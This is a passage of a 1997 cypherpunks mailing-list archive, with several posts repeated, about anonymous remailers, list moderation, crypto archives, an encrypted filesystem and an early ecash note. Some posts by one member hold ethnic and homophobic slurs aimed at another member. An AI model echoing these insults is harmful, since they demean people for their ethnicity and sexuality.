censored"? Message-ID: <199702070341.TAA07903@toad.com> At 03:47 PM 2/6/97 -0600, Firebeard wrote: >>>>>> John Gilmore writes: > >JG> Hmm. Your message that I just received, about this problem, was >JG> cc'd to cypherpunks. It did not make it into the >JG> cypherpunks-unedited list. In examining the message header >JG> itself, there is an "Approved: yes" line. My guess is that your >JG> attempt to be too tricky has screwed you. > > It appears that this was the problem. Deal with a >self-moderated newsgroup, and ent up with self-censorship. *shrug*. >I wish that John had helped to resolve the problem before I made it >public, but that's life. John does have other things to do with his time, you know :-) If you're abusing email syntax to fake out specialized mail/news handling, you shouldn't be surprised if it doesn't always fake out the parts of the system you were trying to fake out.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From shamrock at netcom.com Thu Feb 6 19:41:19 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 6 Feb 1997 19:41:19 -0800 (PST) Subject: anonymous remailers Message-ID: <199702070341.TAA07916@toad.com> At 09:19 PM 2/6/97 +0000, Charley Musselman wrote: >C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup >and suggested that he use an anonymous remailer to post to the group, >he laughed and said, "Who do you suppose runs the remailers? ATF, >FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >anyone know the answer? Specifically, how can we choose a trusted >remailer? There is no such thing as a trusted remailer, unless you know and trust the remailer operator. That's why one should use remailer chains. If only one remailer in the chain is run by a non-TLA operator, you are safe. Just for the record, I know numerous remailer operators. I am convinced that neither of them works for any TLA in any way. YMMV. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From zinc at zifi.genetics.utah.edu Thu Feb 6 19:41:20 1997 From: zinc at zifi.genetics.utah.edu (zinc) Date: Thu, 6 Feb 1997 19:41:20 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702070341.TAA07917@toad.com> The following message is a courtesy copy of an article that has been posted as well. -----BEGIN PGP SIGNED MESSAGE----- hi, i came in today to find they (university system admins) had pulled the plug on my machine. this is all because some luser spammed usenet using the remailer on my machine. thanks a lot. so, the lead remailer is gone for good; it lasted almost exactly one year. it was nice while it lasted. - -patrick finerty biochem grad student, u of utah - -- "Those that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- Benjamin Franklin (1773) finger zinc-pgp at zifi for PGP key zifi runs LINUX 2.0.28 -=-=-=WEB=-=-=-> http://zifi.genetics.utah.edu -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt clfXhusEPPg= =0fse -----END PGP SIGNATURE----- From roy at sendai.scytale.com Thu Feb 6 19:41:22 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Thu, 6 Feb 1997 19:41:22 -0800 (PST) Subject: ITAR and Paper ROM Message-ID: <199702070341.TAA07918@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, stewarts at ix.netcom.com writes: > More practically, sort of, there was the Cauzin Softstrip Reader, > which cost about $200 and held enough data to distribute programs > back when computers and programs were much smaller; a few PC magazines > tried distributing programs by printing them in the back that way. > Cute, but not cute enough to stick around very long. Cauzin was bought by Eastman Kodak shortly after they started advertising in the big rags (like _Byte_, which printed a test strip a month or so before Cauzin made their big advertising push). Cauzin was even putting freeware programs in their ads. At that time, Kodak was just entering the soon-to-be-lucrative magnetic media market with their floppy disk line. I'd say they were bought and buried. - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvpwFxvikii9febJAQHI3wP9HrDosf/DQIkbNaJADxqGOaE4fskX3HEP nznkhaMb4WXbCQUg+BNtyh/u15n6M2eA259uHExm1S+//8VENcGC0hmINdsehBJX LcehDOQMpbbj/lSdd/rC0raj7U38wuXZn84xi/bdbXWKwXzVKWaq3AwqRgLm9aBT 9NS0RZOiPEY= =PFiP -----END PGP SIGNATURE----- From markh at wimsey.bc.ca Thu Feb 6 19:41:23 1997 From: markh at wimsey.bc.ca (Mark C. Henderson) Date: Thu, 6 Feb 1997 19:41:23 -0800 (PST) Subject: Wimsey cryptography archive is moving to Mindlink Message-ID: <199702070341.TAA07921@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Subject: Wimsey cryptography archive is moving to Mindlink The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving to MIND LINK (http://www.mindlink.net). You can now access the contents of the cryptography archive at its new location ftp://ftp.mindlink.net/pub/crypto The archive has been at Wimsey for about five years. I'd like to thank the folks at Wimsey for providing disk space, bandwidth, technical expertise, and for supporting the distribution of ~140MB of cryptography papers and software on the Internet. As with Wimsey, MIND LINK is providing disk space and bandwidth for the archive at no charge to me or the users of the archive. Thanks should go to MIND LINK for providing this as a service to the Internet community. Two small notes: 1. I assume sole responsibility for the contents of the archive. The folks at MIND LINK are generously providing facilties at no charge above their usual access fees, but they are not necessarily even aware of the exact contents of the archive. My only connection with MIND LINK is as a customer. 2. Please do not attempt to use the MIND LINK crypto archive to violate the laws of the U.S. or Canada. Distribution of cryptographic software is limited to U.S./Canadian persons in the U.S./Canada. All access to the site is logged. Any problems or questions? Please feel free to contact me at mark_henderson at mindlink.net -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x 2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM Lr+wyuw8WS8= =NilL -----END PGP SIGNATURE----- -- Mark Henderson -- markh at wimsey.bc.ca, mark_henderson at mindlink.net PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1 A1 2A 2A 06 4A D5 92 46 http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive From adam at homeport.org Thu Feb 6 19:41:27 1997 From: adam at homeport.org (Adam Shostack) Date: Thu, 6 Feb 1997 19:41:27 -0800 (PST) Subject: Transparent Cryptographic File System (fwd) Message-ID: <199702070341.TAA07928@toad.com> Haven't seen this on cpunks. ----- Forwarded message from Kenneth Stailey ----- >From xtech-request at zephyr.ccrc.wustl.edu Thu Feb 6 18:26:49 1997 Date: Thu, 6 Feb 1997 16:47:28 -0500 (EST) Message-Id: <199702062147.QAA29127 at duality.gnu.ai.mit.edu> From: Kenneth Stailey To: tech at openbsd.org Subject: Transparent Cryptographic File System Sender: owner-tech at openbsd.org Precedence: bulk Hi, I thought that there might be some interest in looking at this: From: ermmau at ios.diaedu.unisa.it (Ermelindo Mauriello) Subject: New release of TCFS (Transparent Cryptographic File System) Newsgroups: comp.os.linux.announce Date: Thu, 16 Jan 1997 07:14:53 GMT Followup-To: comp.os.linux.development.system Organization: Universita' di SALERNO - Dip. Informatica ed Appl. Path: ai-lab!bloom-beacon.mit.edu!howland.erols.net!newsfeed.internetmci.com!zeke.ebtech.net!loki.tor.hookup.net!omega.metrics.com!liw.clinet.fi!not-for-mail Lines: 51 Approved: linux-announce at news.ornl.gov (Lars Wirzenius) Message-ID: NNTP-Posting-Host: localhost X-Server-Date: 16 Jan 1997 07:15:02 GMT X-Original-Date: 15 Jan 1997 14:51:36 GMT X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce iQBVAwUBMt3VcjiesvPHtqnBAQECXwH+PKb4gmvn2sSqa3caegRau0cHJ9Lx9hII YG0YmSbwPf+oFV4ie4omldPpTO3VjGXSkY11zIof6b3HzY3dNzajyQ== =aNko -- Start of PGP signed section. We are glad to announce that a new release of TCFS (Transparent Cryptographic File System) for Linux is now available. TCFS is a cryptographic filesystem developed at the Universita' di Salerno (Italy). It operates like NFS but allows users to use a new flag X to make the files secure (encrypted). In theis release files are encrypted using DES. The new release works in Linux kernel space, and may be linked as a module to Linux 2.0.x kernels. A mailing-list is available at tcfs-list at mikonos.dia.unisa.it. Documentation is available at http://mikonos.dia.unisa.it/tcfs. Here you can find instructions for installing TCFS and docs on how it works. Mirror sites are available at http://www.globenet.it/~ermmau/tcfs and http://www.inopera.it/~ermmau/tcfs \|||/ (o o) ----------------------ooO--O--Ooo------------------------------- ! //////// //// //// Ermelindo Mauriello ! ! // // /// // e-mail: ermmau at edu-gw.dia.unisa.it ! ! ///// // / // ermmau at pantelleria.dia.unisa.it ! ! // // // ermmau at globenet.it ! ! /////// // // ermmau at inopera.it ! !--------------------------------------------------------------! ! LINUX - The choice of a GNU generation !!! ! ---------------------------------------------------------------- -- End of PGP signed section. ----- End of forwarded message from Kenneth Stailey ----- -- "It is seldom that liberty of any kind is lost all at once." -Hume From loki at infonex.com Thu Feb 6 19:46:29 1997 From: loki at infonex.com (Lance Cottrell) Date: Thu, 6 Feb 1997 19:46:29 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins In-Reply-To: <19970206221726.11238.qmail@anon.lcs.mit.edu> Message-ID: I would be happy to provide access to news.cyberpass.net (its good to be the King). Just let me know the machine name and IP. -Lance At 2:17 PM -0800 2/6/97, lcs Remailer Administrator wrote: >Because of recent attacks on the remailer network and mail2news >gateways, I may loose access to at least one of the news servers I >currently feed news to from my mail2news gateway. > >If you are a news administrator, believe in free speech and anonymity, >and you would like to help the cause, please consider giving transfer >(aka "IHAVE" or "hosts.nntp") privileges to this machine. You will >not be the only server, and so do not need to worry about being the >point of entrance of mail2news articles to Usenet. > >Please contact me if you can help. Thank you. > >For those who oppose the existence of mail2news gateways, you should >know that we are taking steps to limit the abuse. However, doing so >without in any way limiting articles that abide by the usage policy is >tricky, and must be done carefully. Please be patient. ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From froomkin at law.miami.edu Thu Feb 6 19:52:04 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Thu, 6 Feb 1997 19:52:04 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? In-Reply-To: <199702062301.PAA02248@toad.com> Message-ID: This would be the same Strassmann who stated in public at Harvard early in 1995 that most remailers were run by intelligence agencies such as the KGB, then denied saying it when asked for substantiation? And cut it from his paper? On Thu, 6 Feb 1997, Vin McLellan wrote: > Strassmann, the author of this denunciation of RSADS and > Ian Goldberg, is the former Director of Defense Information > (i.e., CIO,) of the Bush DoD and an often-insightful commentator Having said that, there is some debate about the extent to which in *intelligence gathering* as opposed to, say, trying to crack a banking protocol, one can reasonably count on a known plaintext. And much debate about the processing costs of not having one, especially when one doesn't know what kind of document is being encrypted (e.g. is it ASCII plaintext? a spreadsheet? a jpeg? etc.). I think that's his (misdirected) point. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From loki at infonex.com Thu Feb 6 20:01:51 1997 From: loki at infonex.com (Lance Cottrell) Date: Thu, 6 Feb 1997 20:01:51 -0800 (PST) Subject: mail-to-news fun In-Reply-To: <199702061921.LAA28330@toad.com> Message-ID: It would be a trivial hack for Mixmaster. It allways knows if a message if going to another remailer, or if this is the last hop, so it can add the disclaimer only on the last hop. -Lance At 4:06 PM -0800 2/6/97, Bill Stewart wrote: >At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote: >>On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: >>> People don't read mail headers or disclaimers at the bottom, >>> and putting disclaimers like that into message text for >>> email exposes the message to traffic analysis.) > >>How does putting it in the message expose it to traffic analysis but not >>putting it in a header? > >Suppose you're sending a message on a remailer chain of >you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target >and Bob puts lots of disclaimers in his remailer's outgoing messages. >Anything Bob puts in a header will get stripped out by Charlie, >so it's no problem. However, if Bob tacks a disclaimer >as the bottom text in the outgoing message, when Eve sends >mail to Fred she'll also see the disclaimer that > The message was sent by an anonymous user > through the remailer at Bob's Remailer Shack. > Bob doesn't know who sent it, and doesn't keep records, > so he can't squash the user, but he can block mail to you > if you don't want any more anonymous email. > Don't believe everything you read! >so she'll know to check the FBI Illegal Wiretap files for Bob. > >Some comments and backtracking >0) Of course, if you want to avoid traffic analysis, >sending unencrypted email is pretty stupid, and only the >next hop is going to see a disclaimer that you append >after the encrypted part of the message. > >1) Prepending the disclaimer to the message body is >pretty unfriendly to the :: syntax, and not all that >great for PGP encrypted messages either. Pretend I >really just suggested appending it at the end, >since that's what I would have said if I'd been thinking :-) > >On the other hand, I suppose that you can see whether the >next hop is a Type I remailer by looking for the :: or ##. > >2) Cutmarks would be a nice fix, but they require too much >attention to detail to get right, in case the next hop >is a remailer. > >So maybe you _should_ always put in the disclaimer, >at the end, with a reminder to always encrypt your >remailer-chain mail if you want to avoid traffic analysis :-) > > > > > ># Thanks; Bill ># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com ># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp ># (If this is a mailing list, please Cc: me on replies. Thanks.) ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From dlv at bwalk.dm.com Thu Feb 6 20:12:48 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 20:12:48 -0800 (PST) Subject: True story, Fly the Obsfucted Skies (fwd) In-Reply-To: <199702061915.LAA28280@toad.com> Message-ID: Ray Arachelian writes: ... > I thought about it. I scratched my goatee. I said: ... How can an Armenian eunich grow a bear? Even a faggy goatee? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Feb 6 20:13:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 20:13:50 -0800 (PST) Subject: anonymous remailers In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com> Message-ID: c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? Even if the feds are not directtly involved, the so-called "cypher punk" remailers are run by people who should not be trusted. Check out their remailer-operators list: it's full of announcements that some specific person posted something via the remailer that the operator didn't like. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Feb 6 20:40:55 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 20:40:55 -0800 (PST) Subject: True story, Fly the Obsfucted Skies (fwd) Message-ID: <199702070440.UAA09075@toad.com> Ray Arachelian writes: ... > I thought about it. I scratched my goatee. I said: ... How can an Armenian eunich grow a bear? Even a faggy goatee? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Feb 6 20:40:57 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 20:40:57 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702070440.UAA09083@toad.com> Adam Back writes: > > Mark writes: > > I'm almost certain that Murray is a consultant rather than > > or in addition to an accountant. He's been saying these things > > William Murray used to post frequently to sci.crypt, alt.security.pgp, > etc when I read those forums. He also I think wrote the forword for > one of the books on using PGP. One of my first flame wars on Internet, some 15 years ago, was with William H. Murray over my criticism of DES. How time flies. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Feb 6 20:41:03 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 6 Feb 1997 20:41:03 -0800 (PST) Subject: anonymous remailers Message-ID: <199702070441.UAA09107@toad.com> c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? Even if the feds are not directtly involved, the so-called "cypher punk" remailers are run by people who should not be trusted. Check out their remailer-operators list: it's full of announcements that some specific person posted something via the remailer that the operator didn't like. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From froomkin at law.miami.edu Thu Feb 6 20:41:06 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Thu, 6 Feb 1997 20:41:06 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702070441.UAA09108@toad.com> This would be the same Strassmann who stated in public at Harvard early in 1995 that most remailers were run by intelligence agencies such as the KGB, then denied saying it when asked for substantiation? And cut it from his paper? On Thu, 6 Feb 1997, Vin McLellan wrote: > Strassmann, the author of this denunciation of RSADS and > Ian Goldberg, is the former Director of Defense Information > (i.e., CIO,) of the Bush DoD and an often-insightful commentator Having said that, there is some debate about the extent to which in *intelligence gathering* as opposed to, say, trying to crack a banking protocol, one can reasonably count on a known plaintext. And much debate about the processing costs of not having one, especially when one doesn't know what kind of document is being encrypted (e.g. is it ASCII plaintext? a spreadsheet? a jpeg? etc.). I think that's his (misdirected) point. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From loki at infonex.com Thu Feb 6 20:41:09 1997 From: loki at infonex.com (Lance Cottrell) Date: Thu, 6 Feb 1997 20:41:09 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins Message-ID: <199702070441.UAA09113@toad.com> I would be happy to provide access to news.cyberpass.net (its good to be the King). Just let me know the machine name and IP. -Lance At 2:17 PM -0800 2/6/97, lcs Remailer Administrator wrote: >Because of recent attacks on the remailer network and mail2news >gateways, I may loose access to at least one of the news servers I >currently feed news to from my mail2news gateway. > >If you are a news administrator, believe in free speech and anonymity, >and you would like to help the cause, please consider giving transfer >(aka "IHAVE" or "hosts.nntp") privileges to this machine. You will >not be the only server, and so do not need to worry about being the >point of entrance of mail2news articles to Usenet. > >Please contact me if you can help. Thank you. > >For those who oppose the existence of mail2news gateways, you should >know that we are taking steps to limit the abuse. However, doing so >without in any way limiting articles that abide by the usage policy is >tricky, and must be done carefully. Please be patient. ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From loki at infonex.com Thu Feb 6 20:41:11 1997 From: loki at infonex.com (Lance Cottrell) Date: Thu, 6 Feb 1997 20:41:11 -0800 (PST) Subject: mail-to-news fun Message-ID: <199702070441.UAA09115@toad.com> It would be a trivial hack for Mixmaster. It allways knows if a message if going to another remailer, or if this is the last hop, so it can add the disclaimer only on the last hop. -Lance At 4:06 PM -0800 2/6/97, Bill Stewart wrote: >At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote: >>On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: >>> People don't read mail headers or disclaimers at the bottom, >>> and putting disclaimers like that into message text for >>> email exposes the message to traffic analysis.) > >>How does putting it in the message expose it to traffic analysis but not >>putting it in a header? > >Suppose you're sending a message on a remailer chain of >you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target >and Bob puts lots of disclaimers in his remailer's outgoing messages. >Anything Bob puts in a header will get stripped out by Charlie, >so it's no problem. However, if Bob tacks a disclaimer >as the bottom text in the outgoing message, when Eve sends >mail to Fred she'll also see the disclaimer that > The message was sent by an anonymous user > through the remailer at Bob's Remailer Shack. > Bob doesn't know who sent it, and doesn't keep records, > so he can't squash the user, but he can block mail to you > if you don't want any more anonymous email. > Don't believe everything you read! >so she'll know to check the FBI Illegal Wiretap files for Bob. > >Some comments and backtracking >0) Of course, if you want to avoid traffic analysis, >sending unencrypted email is pretty stupid, and only the >next hop is going to see a disclaimer that you append >after the encrypted part of the message. > >1) Prepending the disclaimer to the message body is >pretty unfriendly to the :: syntax, and not all that >great for PGP encrypted messages either. Pretend I >really just suggested appending it at the end, >since that's what I would have said if I'd been thinking :-) > >On the other hand, I suppose that you can see whether the >next hop is a Type I remailer by looking for the :: or ##. > >2) Cutmarks would be a nice fix, but they require too much >attention to detail to get right, in case the next hop >is a remailer. > >So maybe you _should_ always put in the disclaimer, >at the end, with a reminder to always encrypt your >remailer-chain mail if you want to avoid traffic analysis :-) > > > > > ># Thanks; Bill ># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com ># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp ># (If this is a mailing list, please Cc: me on replies. Thanks.) ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From mhw at wittsend.com Thu Feb 6 20:47:40 1997 From: mhw at wittsend.com (Michael H. Warfield) Date: Thu, 6 Feb 1997 20:47:40 -0800 (PST) Subject: lead remailer is shut down In-Reply-To: <199702070341.TAA07917@toad.com> Message-ID: zinc enscribed thusly: > The following message is a courtesy copy of an article > that has been posted as well. > -----BEGIN PGP SIGNED MESSAGE----- > hi, > i came in today to find they (university system admins) had pulled the > plug on my machine. this is all because some luser spammed usenet > using the remailer on my machine. thanks a lot. Yeah? Did you find his ass? Kindly forward the coordinates of the body so we can desecrate the corpse! > so, the lead remailer is gone for good; it lasted almost exactly one > year. > it was nice while it lasted. Never used it but it is always sad to see the passing of a network resource due to the abuse by cretins with all the morals of an alley cat in heat... > - -patrick finerty > biochem grad student, u of utah > - -- > "Those that give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." -- Benjamin Franklin (1773) > finger zinc-pgp at zifi for PGP key > zifi runs LINUX 2.0.28 -=-=-=WEB=-=-=-> http://zifi.genetics.utah.edu > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface > > iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L > 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE > 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt > clfXhusEPPg= > =0fse > -----END PGP SIGNATURE----- Mike -- Michael H. Warfield | (770) 985-6132 | mhw at WittsEnd.com (The Mad Wizard) | (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From tcmay at got.net Thu Feb 6 21:05:18 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 6 Feb 1997 21:05:18 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: Cypherpunks, My posting seem to be going into Limbo, being sent neither to the Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks Hell. At least this is how things now appear. I sent the message below to the list this morning (Thursday) at 8:43 a.m. PST. As of tonight, 12 hours later, I haven't seen it on either the Singapore Web site--last archived 30 minutes ago--or on the "Flames" list to which I have temporarily subscribed (to see what Sandy counts as a "flame"). Has anyone else seen it? I've looked, but there's always a chance I somehow spaced out and missed it. (I doubt it though.) If I have missed it, despite carefully scanning for it for the past 8-12 hours, my apologies. If it has not appeared on either the Censored list or the Flames list, then something is rotten in the state of Denmark. By the way, I noted that many of the messages which appeared at the Singapore Web archive site have dates much later than mine, including several dated at least 8-10 hours after my message. Likewise, some of the Flames messages are dated much later than my message. (Bill Stewart got a message through dated Thu, 06 Feb 1997 16:06:06 -0800, Mark Henderson got one through at Thu, 6 Feb 1997 15:56:19 PST, and so on. One would thus have thought that my message, dated Thu, 6 Feb 1997 08:43:35 -0800, would by now either have been approved and hence on the Censored list, or rejected as unfit for Cypherpunks to sully their neurons with, and hence passed on to the Flames list. By the way, some of the "Flames" messages are also dated late afternoon or evening.) So, is my message just sitting around someplace, awaiting some final decision? What's the basis of this decision? (Perhaps Sandy has "kicked it upstairs" to John for him to decide on? Just a hypothesis....) I will repeat my message below. As you will be able to see, my message contains no "flames" of its own, and the messages it quotes do not seem flamish to me, either. (It is true that Vulis uses the phrase "Limey faggots," in reference to beer-serving habits, but he does not directly insult any list members with this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will be blocked from their usual characterizations of Congresscritters and NSA stooges.) I think a delay of greater than 11 hours in being distributed on one of the two lists (even if my message is sent out in the next hour or so) is unacceptable. If a moderator cannot get to traffic in the order in which it was received and disposition it promptly, he or she has no business being a moderator of a high-volume list. (Eric Blossom's and Ray Arachelian's "best of" compilations are a different matter, for reasons discussed many times here.) So, why hasn't this message appeared on one of the two lists? --Tim May >Date: Thu, 6 Feb 1997 08:43:35 -0800 >To: cypherpunks at toad.com >From: "Timothy C. May" >Subject: Re: Moderation [Tim,Sandy] >Cc: >Bcc: >X-Attachments: > > >I decided to subscribe only to the "cypherpunks flames" list, just to see >what was being filtered into it. > >The message below is one example of what is going there. I received it, >and the header includes the line: "Sender: >owner-cypherpunks-unedited at toad.com", so I am surmising that it was indeed >filtered into the flames list. > >Now, admittedly, the _content_ of this kind of post is "off-topic," but I >sure don't see any evidence of _flames_. > >Is Sandy now filtering based on his notions of list relevance, and not >just on the basis of insults, jabs, flames, and "lack of comity"? While >lack of relevance may be a criterion for someone to filter by, it doesn't >square with anything I recall Sandy citing, and it introduces a new and >dimension to the debate. > >--Tim May > >(The entire post is included, to ensure that no one claims I am editing >out any flames, insults, etc.) > > >At 11:06 PM -0800 2/5/97, Dale Thorn wrote: >>Dr.Dimitri Vulis KOTM wrote: >>> Dale Thorn writes: >> >>> > > > The drunk can be excluded, but when someone wants to use the drunk as >>> > > > an example to escalate the exclusion to other persons who are not in >>> > > > fact drunk, watch out! >> >>> > > If I get really really drunk, which happens very seldom, then I'm >>> > > too drunk to post. I don't mind an occasional beer, though. >> >>> > > Oksas, have you ever tried beer? :-) >> >>> > I had my first beer(s) in three years at one of those industrial >>> > parties last night. It made the craps table action seem a bit >>> > merrier, and the girls were friendlier too. >> >>> I like an occasional Coors Lite. BTW I think Limey Faggots are right about >>> one think: I like room-temperature beer better than cold beer. YMMV. >> >>Interesting coincidence for people on opposite coasts - the bar at >>the hotel had two choices: Bud regular and Coors light. I took the >>Coors. > > > > > Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jeremey at veriweb.com Thu Feb 6 21:28:34 1997 From: jeremey at veriweb.com (Jeremey Barrett) Date: Thu, 6 Feb 1997 21:28:34 -0800 (PST) Subject: World's first Ecash note Message-ID: <199702070526.VAA12884@descartes.veriweb.com> -----BEGIN PGP SIGNED MESSAGE----- The world's first Ecash note has been printed! A USD 0.01 note made out to anyone can be found at: http://www.veriweb.com/people/jeremey/ecash/1_cent.html The data portion of the note is a PDF417 2-D barcode, containing a standard ecash payment of 1 US cent. The source code for the general PDF417 encoding and the ecash conversion will be published as soon as I clean it up and come up with a somewhat nicer interface. The PDF417 code should be useful for non-ecash stuff as well, it will encode anything. I will be bringing a bunch of notes to the bay-area cypherpunks meeting Saturday. Suggestions/comments appreciated. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Senior Software Engineer http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an 